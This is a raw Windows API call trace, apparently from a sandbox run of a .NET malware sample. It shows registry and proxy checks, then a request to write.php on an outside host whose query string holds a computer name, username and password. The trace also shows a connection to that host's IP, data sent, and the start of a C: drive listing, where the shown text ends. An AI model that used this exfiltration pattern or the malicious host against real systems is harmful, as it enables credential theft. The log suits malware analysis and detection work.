[0045.407] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x260 [0045.413] GetCurrentProcess () returned 0xffffffff [0045.413] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9f4 | out: TokenHandle=0x39e9f4*=0x264) returned 1 [0045.416] GetCurrentProcess () returned 0xffffffff [0045.416] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ea04 | out: TokenHandle=0x39ea04*=0x268) returned 1 [0045.426] QueryPerformanceFrequency (in: lpFrequency=0x125a30 | out: lpFrequency=0x125a30) returned 1 [0045.427] QueryPerformanceCounter (in: lpPerformanceCount=0x39ee08 | out: lpPerformanceCount=0x39ee08*=1812012500000) returned 1 [0045.431] GetCurrentProcess () returned 0xffffffff [0045.431] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9c0 | out: TokenHandle=0x39e9c0*=0x26c) returned 1 [0045.434] GetCurrentProcess () returned 0xffffffff [0045.434] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9d0 | out: TokenHandle=0x39e9d0*=0x270) returned 1 [0045.449] GetCurrentProcess () returned 0xffffffff [0045.449] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9d4 | out: TokenHandle=0x39e9d4*=0x274) returned 1 [0045.451] GetCurrentProcess () returned 0xffffffff [0045.451] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9e4 | out: TokenHandle=0x39e9e4*=0x278) returned 1 [0045.459] GetCurrentProcess () returned 0xffffffff [0045.459] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ecf0 | out: TokenHandle=0x39ecf0*=0x27c) returned 1 [0045.474] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x39de3c | out: phkResult=0x39de3c*=0x280) returned 0x0 [0045.475] RegQueryValueExW (in: hKey=0x280, lpValueName="InstallationType", lpReserved=0x0, lpType=0x39de5c, lpData=0x0, lpcbData=0x39de58*=0x0 | out: lpType=0x39de5c*=0x1, lpData=0x0, lpcbData=0x39de58*=0xe) returned 0x0 [0045.475] RegQueryValueExW (in: hKey=0x280, lpValueName="InstallationType", lpReserved=0x0, lpType=0x39de5c, lpData=0x26d8198, lpcbData=0x39de58*=0xe | out: lpType=0x39de5c*=0x1, lpData="Client", lpcbData=0x39de58*=0xe) returned 0x0 [0045.475] RegCloseKey (hKey=0x280) returned 0x0 [0046.161] CoTaskMemAlloc (cb=0xcc0) returned 0x56b2d0 [0046.161] RasEnumConnectionsW (in: param_1=0x56b2d0, param_2=0x39ed00, param_3=0x39ed04 | out: param_1=0x56b2d0, param_2=0x39ed00, param_3=0x39ed04) returned 0x0 [0046.392] CoTaskMemFree (pv=0x56b2d0) [0046.397] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x39eae8 | out: lpWSAData=0x39eae8) returned 0 [0046.405] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2c0 [0046.693] setsockopt (s=0x2c0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0046.694] closesocket (s=0x2c0) returned 0 [0046.694] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x2c0 [0046.719] setsockopt (s=0x2c0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0046.719] closesocket (s=0x2c0) returned 0 [0046.720] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2c0 [0046.720] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c4 [0046.721] ioctlsocket (in: s=0x2c0, cmd=-2147195266, argp=0x39ed08 | out: argp=0x39ed08) returned 0 [0046.721] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x2c8 [0046.721] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2cc [0046.721] ioctlsocket (in: s=0x2c8, cmd=-2147195266, argp=0x39ed08 | out: argp=0x39ed08) returned 0 [0046.722] WSAIoctl (in: s=0x2c0, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x39ecf0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x39ecf0, lpOverlapped=0x0) returned -1 [0046.733] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x39ea20, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0046.745] WSAEventSelect (s=0x2c0, hEventObject=0x2c4, lNetworkEvents=512) returned 0 [0046.745] WSAIoctl (in: s=0x2c8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x39ecf0, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x39ecf0, lpOverlapped=0x0) returned -1 [0046.745] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x39ea20, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0046.745] WSAEventSelect (s=0x2c8, hEventObject=0x2cc, lNetworkEvents=512) returned 0 [0046.745] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x2d4 [0046.746] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x2d4, param_3=0x3) returned 0x0 [0046.750] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x39ed1c | out: phkResult=0x39ed1c*=0x2ec) returned 0x0 [0046.750] RegOpenKeyExW (in: hKey=0x2ec, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x39eccc | out: phkResult=0x39eccc*=0x2f0) returned 0x0 [0046.751] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f4 [0046.751] RegNotifyChangeKeyValue (hKey=0x2f0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x2f4, fAsynchronous=1) returned 0x0 [0046.752] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x39ecd0 | out: phkResult=0x39ecd0*=0x2f8) returned 0x0 [0046.752] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2fc [0046.752] RegNotifyChangeKeyValue (hKey=0x2f8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x2fc, fAsynchronous=1) returned 0x0 [0046.752] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x39ecd0 | out: phkResult=0x39ecd0*=0x300) returned 0x0 [0046.752] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x304 [0046.752] RegNotifyChangeKeyValue (hKey=0x300, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x304, fAsynchronous=1) returned 0x0 [0046.753] GetCurrentProcess () returned 0xffffffff [0046.753] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39ecc4 | out: TokenHandle=0x39ecc4*=0x308) returned 1 [0046.756] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x39e5d0 | out: phkResult=0x39e5d0*=0x30c) returned 0x0 [0046.757] RegQueryValueExW (in: hKey=0x30c, lpValueName="LegacyWPADSupport", lpReserved=0x0, lpType=0x39e5ec, lpData=0x0, lpcbData=0x39e5e8*=0x0 | out: lpType=0x39e5ec*=0x0, lpData=0x0, lpcbData=0x39e5e8*=0x0) returned 0x2 [0046.757] RegCloseKey (hKey=0x30c) returned 0x0 [0047.158] WinHttpOpen (pszAgentW=0x0, dwAccessType=0x1, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x546990 [0047.349] WinHttpSetTimeouts (hInternet=0x546990, nResolveTimeout=60000, nConnectTimeout=60000, nSendTimeout=60000, nReceiveTimeout=60000) returned 1 [0047.350] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x39ecd0 | out: pProxyConfig=0x39ecd0) returned 1 [0047.995] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_Disabled", lpBuffer=0x39e548, nSize=0x80 | out: lpBuffer="\xbb9c\x725d\xe60c\x39\x32c4\x74b9\xffff\xffff\xe584\x39\xb954\x7476\x7910\x725c\x2aec\x7292\x75bd\x7464\x9a24\xd55a\x7910\x725c\x2aec\x7292\x02") returned 0x0 [0047.995] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.HttpWebRequest_MinCount", lpBuffer=0x39e548, nSize=0x80 | out: lpBuffer="\xbb9c\x725d\xe60c\x39\x32c4\x74b9\xffff\xffff\xe584\x39\xb954\x7476\x7910\x725c\x2aec\x7292\x75bd\x7464\x9a24\xd55a\x7910\x725c\x2aec\x7292\x02") returned 0x0 [0047.997] EtwEventRegister () returned 0x0 [0048.151] GetCurrentProcess () returned 0xffffffff [0048.151] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e99c | out: TokenHandle=0x39e99c*=0x34c) returned 1 [0048.153] GetCurrentProcess () returned 0xffffffff [0048.153] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e9ac | out: TokenHandle=0x39e9ac*=0x35c) returned 1 [0048.158] SetEvent (hEvent=0x25c) returned 1 [0048.167] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec1c*=0x2d4, lpdwindex=0x39ea3c | out: lpdwindex=0x39ea3c) returned 0x80010115 [0048.474] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ebfc*=0x2c4, lpdwindex=0x39ea1c | out: lpdwindex=0x39ea1c) returned 0x80010115 [0048.474] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ebfc*=0x2cc, lpdwindex=0x39ea1c | out: lpdwindex=0x39ea1c) returned 0x80010115 [0048.475] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec50*=0x2f4, lpdwindex=0x39ea6c | out: lpdwindex=0x39ea6c) returned 0x80010115 [0048.475] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec50*=0x2fc, lpdwindex=0x39ea6c | out: lpdwindex=0x39ea6c) returned 0x80010115 [0048.475] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec50*=0x304, lpdwindex=0x39ea6c | out: lpdwindex=0x39ea6c) returned 0x80010115 [0048.476] WinHttpGetProxyForUrl (in: hSession=0x546990, lpcwszUrl="http://gntsincrellysite.eu5.org/write.php?info=Computer - XDUWTFONO Username - 5p5NrGJn0jS HALPmcxz Password - e^HaR8mXyK=FJk!", pAutoProxyOptions=0x39ebe0, pProxyInfo=0x39ec50 | out: pProxyInfo=0x39ec50) returned 0 [0062.121] GetCurrentProcess () returned 0xffffffff [0062.121] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e8f4 | out: TokenHandle=0x39e8f4*=0x398) returned 1 [0062.122] GetCurrentProcess () returned 0xffffffff [0062.122] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x39e904 | out: TokenHandle=0x39e904*=0x3a0) returned 1 [0062.124] GetTimeZoneInformation (in: lpTimeZoneInformation=0x39eb04 | out: lpTimeZoneInformation=0x39eb04) returned 0x2 [0062.136] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x39e958 | out: pTimeZoneInformation=0x39e958) returned 0x2 [0062.138] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x39ea3c | out: phkResult=0x39ea3c*=0x3a4) returned 0x0 [0062.138] RegQueryValueExW (in: hKey=0x3a4, lpValueName="TZI", lpReserved=0x0, lpType=0x39ea58, lpData=0x0, lpcbData=0x39ea54*=0x0 | out: lpType=0x39ea58*=0x3, lpData=0x0, lpcbData=0x39ea54*=0x2c) returned 0x0 [0062.138] RegQueryValueExW (in: hKey=0x3a4, lpValueName="TZI", lpReserved=0x0, lpType=0x39ea58, lpData=0x26dfc54, lpcbData=0x39ea54*=0x2c | out: lpType=0x39ea58*=0x3, lpData=0x26dfc54*, lpcbData=0x39ea54*=0x2c) returned 0x0 [0062.139] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x39e890 | out: phkResult=0x39e890*=0x3a8) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x39e8ac, lpData=0x0, lpcbData=0x39e8a8*=0x0 | out: lpType=0x39e8ac*=0x4, lpData=0x0, lpcbData=0x39e8a8*=0x4) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x39e8ac, lpData=0x39e898, lpcbData=0x39e8a8*=0x4 | out: lpType=0x39e8ac*=0x4, lpData=0x39e898*=0x7d7, lpcbData=0x39e8a8*=0x4) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="LastEntry", lpReserved=0x0, lpType=0x39e8ac, lpData=0x0, lpcbData=0x39e8a8*=0x0 | out: lpType=0x39e8ac*=0x4, lpData=0x0, lpcbData=0x39e8a8*=0x4) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="LastEntry", lpReserved=0x0, lpType=0x39e8ac, lpData=0x39e898, lpcbData=0x39e8a8*=0x4 | out: lpType=0x39e8ac*=0x4, lpData=0x39e898*=0x7d8, lpcbData=0x39e8a8*=0x4) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="2007", lpReserved=0x0, lpType=0x39e8ac, lpData=0x0, lpcbData=0x39e8a8*=0x0 | out: lpType=0x39e8ac*=0x3, lpData=0x0, lpcbData=0x39e8a8*=0x2c) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="2007", lpReserved=0x0, lpType=0x39e8ac, lpData=0x26e00e8, lpcbData=0x39e8a8*=0x2c | out: lpType=0x39e8ac*=0x3, lpData=0x26e00e8*, lpcbData=0x39e8a8*=0x2c) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="2008", lpReserved=0x0, lpType=0x39e8ac, lpData=0x0, lpcbData=0x39e8a8*=0x0 | out: lpType=0x39e8ac*=0x3, lpData=0x0, lpcbData=0x39e8a8*=0x2c) returned 0x0 [0062.139] RegQueryValueExW (in: hKey=0x3a8, lpValueName="2008", lpReserved=0x0, lpType=0x39e8ac, lpData=0x26e01a8, lpcbData=0x39e8a8*=0x2c | out: lpType=0x39e8ac*=0x3, lpData=0x26e01a8*, lpcbData=0x39e8a8*=0x2c) returned 0x0 [0062.140] RegCloseKey (hKey=0x3a8) returned 0x0 [0062.140] RegQueryValueExW (in: hKey=0x3a4, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x39ea30, lpData=0x0, lpcbData=0x39ea2c*=0x0 | out: lpType=0x39ea30*=0x1, lpData=0x0, lpcbData=0x39ea2c*=0x20) returned 0x0 [0062.140] RegQueryValueExW (in: hKey=0x3a4, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x39ea30, lpData=0x26e02f0, lpcbData=0x39ea2c*=0x20 | out: lpType=0x39ea30*=0x1, lpData="@tzres.dll,-670", lpcbData=0x39ea2c*=0x20) returned 0x0 [0062.141] RegQueryValueExW (in: hKey=0x3a4, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x39ea30, lpData=0x0, lpcbData=0x39ea2c*=0x0 | out: lpType=0x39ea30*=0x1, lpData=0x0, lpcbData=0x39ea2c*=0x20) returned 0x0 [0062.141] RegQueryValueExW (in: hKey=0x3a4, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x39ea30, lpData=0x26e0348, lpcbData=0x39ea2c*=0x20 | out: lpType=0x39ea30*=0x1, lpData="@tzres.dll,-672", lpcbData=0x39ea2c*=0x20) returned 0x0 [0062.141] RegQueryValueExW (in: hKey=0x3a4, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x39ea30, lpData=0x0, lpcbData=0x39ea2c*=0x0 | out: lpType=0x39ea30*=0x1, lpData=0x0, lpcbData=0x39ea2c*=0x20) returned 0x0 [0062.141] RegQueryValueExW (in: hKey=0x3a4, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x39ea30, lpData=0x26e03a0, lpcbData=0x39ea2c*=0x20 | out: lpType=0x39ea30*=0x1, lpData="@tzres.dll,-671", lpcbData=0x39ea2c*=0x20) returned 0x0 [0064.342] CoTaskMemAlloc (cb=0x20c) returned 0x590788 [0064.342] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x590788 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0064.344] CoTaskMemFree (pv=0x590788) [0064.344] CoTaskMemAlloc (cb=0x20c) returned 0x590788 [0064.344] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x39ea4c, pwszFileMUIPath=0x590788, pcchFileMUIPath=0x39ea50, pululEnumerator=0x39ea44 | out: pwszLanguage=0x0, pcchLanguage=0x39ea4c, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x39ea50, pululEnumerator=0x39ea44) returned 1 [0064.429] CoTaskMemFree (pv=0x0) [0064.429] CoTaskMemFree (pv=0x590788) [0064.430] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x610001 [0064.444] CoTaskMemAlloc (cb=0x3ec) returned 0x590788 [0064.444] LoadStringW (in: hInstance=0x610001, uID=0x29e, lpBuffer=0x590788, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0064.444] CoTaskMemFree (pv=0x590788) [0064.444] FreeLibrary (hLibModule=0x610001) returned 1 [0064.445] CoTaskMemAlloc (cb=0x20c) returned 0x590788 [0064.445] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x590788 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0064.445] CoTaskMemFree (pv=0x590788) [0064.445] CoTaskMemAlloc (cb=0x20c) returned 0x590788 [0064.445] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x39ea4c, pwszFileMUIPath=0x590788, pcchFileMUIPath=0x39ea50, pululEnumerator=0x39ea44 | out: pwszLanguage=0x0, pcchLanguage=0x39ea4c, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x39ea50, pululEnumerator=0x39ea44) returned 1 [0064.446] CoTaskMemFree (pv=0x0) [0064.446] CoTaskMemFree (pv=0x590788) [0064.446] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x610001 [0064.448] CoTaskMemAlloc (cb=0x3ec) returned 0x590788 [0064.448] LoadStringW (in: hInstance=0x610001, uID=0x2a0, lpBuffer=0x590788, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0064.448] CoTaskMemFree (pv=0x590788) [0064.448] FreeLibrary (hLibModule=0x610001) returned 1 [0064.448] CoTaskMemAlloc (cb=0x20c) returned 0x590788 [0064.448] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x590788 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0064.449] CoTaskMemFree (pv=0x590788) [0064.449] CoTaskMemAlloc (cb=0x20c) returned 0x590788 [0064.449] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x39ea4c, pwszFileMUIPath=0x590788, pcchFileMUIPath=0x39ea50, pululEnumerator=0x39ea44 | out: pwszLanguage=0x0, pcchLanguage=0x39ea4c, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x39ea50, pululEnumerator=0x39ea44) returned 1 [0064.450] CoTaskMemFree (pv=0x0) [0064.450] CoTaskMemFree (pv=0x590788) [0064.450] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x610001 [0064.451] CoTaskMemAlloc (cb=0x3ec) returned 0x590788 [0064.451] LoadStringW (in: hInstance=0x610001, uID=0x29f, lpBuffer=0x590788, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0064.451] CoTaskMemFree (pv=0x590788) [0064.451] FreeLibrary (hLibModule=0x610001) returned 1 [0064.452] RegCloseKey (hKey=0x3a4) returned 0x0 [0064.452] SetEvent (hEvent=0x25c) returned 1 [0064.478] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x39ec60 | out: pFixedInfo=0x0, pOutBufLen=0x39ec60) returned 0x6f [0064.710] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x598050 [0064.710] GetNetworkParams (in: pFixedInfo=0x598050, pOutBufLen=0x39ec60 | out: pFixedInfo=0x598050, pOutBufLen=0x39ec60) returned 0x0 [0064.723] LocalFree (hMem=0x598050) returned 0x0 [0064.724] CoTaskMemAlloc (cb=0x20c) returned 0x598050 [0064.724] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_Disabled", lpBuffer=0x598050, nSize=0x104 | out: lpBuffer="\x788\x59\x7768\x58\x6f") returned 0x0 [0064.724] CoTaskMemFree (pv=0x598050) [0064.724] CoTaskMemAlloc (cb=0x20c) returned 0x598050 [0064.724] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.Connection_MinCount", lpBuffer=0x598050, nSize=0x104 | out: lpBuffer="\x788\x59\x7768\x58\x6f") returned 0x0 [0064.724] CoTaskMemFree (pv=0x598050) [0064.727] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3d0 [0064.738] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3cc [0064.739] GetAddrInfoW (in: pNodeName="gntsincrellysite.eu5.org", pServiceName=0x0, pHints=0x39eb50*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x39eaf8 | out: ppResult=0x39eaf8*=0x6244958*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="gntsincrellysite.eu5.org", ai_addr=0x6244980*(sa_family=2, sin_port=0x0, sin_addr="69.197.143.12"), ai_next=0x0)) returned 0 [0065.232] FreeAddrInfoW (pAddrInfo=0x6244958*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="gntsincrellysite.eu5.org", ai_addr=0x6244980*(sa_family=2, sin_port=0x0, sin_addr="69.197.143.12"), ai_next=0x0)) [0065.243] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3d8 [0065.243] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3e0 [0065.243] ioctlsocket (in: s=0x3d8, cmd=-2147195266, argp=0x39eb28 | out: argp=0x39eb28) returned 0 [0065.243] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3e4 [0065.244] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3e8 [0065.244] ioctlsocket (in: s=0x3e4, cmd=-2147195266, argp=0x39eb28 | out: argp=0x39eb28) returned 0 [0065.244] WSAIoctl (in: s=0x3d8, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x39eb10, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x39eb10, lpOverlapped=0x0) returned -1 [0065.244] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x39e840, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0065.244] WSAEventSelect (s=0x3d8, hEventObject=0x3e0, lNetworkEvents=512) returned 0 [0065.244] WSAIoctl (in: s=0x3e4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x39eb10, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x39eb10, lpOverlapped=0x0) returned -1 [0065.244] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x39e840, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0065.244] WSAEventSelect (s=0x3e4, hEventObject=0x3e8, lNetworkEvents=512) returned 0 [0065.245] GetAdaptersAddresses () returned 0x6f [0065.251] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x598ee0 [0065.251] GetAdaptersAddresses () returned 0x0 [0065.260] LocalFree (hMem=0x598ee0) returned 0x0 [0065.264] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x39eb20 | out: phkResult=0x39eb20*=0x3ec) returned 0x0 [0065.264] RegQueryValueExW (in: hKey=0x3ec, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x39eb3c, lpData=0x0, lpcbData=0x39eb38*=0x0 | out: lpType=0x39eb3c*=0x0, lpData=0x0, lpcbData=0x39eb38*=0x0) returned 0x2 [0065.264] RegCloseKey (hKey=0x3ec) returned 0x0 [0065.274] WSAConnect (in: s=0x3d0, name=0x26ec820*(sa_family=2, sin_port=0x50, sin_addr="69.197.143.12"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0065.415] closesocket (s=0x3cc) returned 0 [0065.430] send (in: s=0x3d0, buf=0x26edf8c*, len=188, flags=0 | out: buf=0x26edf8c*) returned 188 [0065.431] setsockopt (s=0x3d0, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0065.432] recv (in: s=0x3d0, buf=0x26e85c0, len=4096, flags=0 | out: buf=0x26e85c0*) returned 331 [0065.596] SetEvent (hEvent=0x25c) returned 1 [0065.635] GetLogicalDrives () returned 0x4 [0065.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ee60) returned 1 [0065.700] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x39e968, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.701] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x39e93c, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0065.704] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x39eb88 | out: lpFindFileData=0x39eb88) returned 0x521dc0 [0065.705] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: lpFindFileData=0x39eb98) returned 1 [0065.706] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb98 | out: 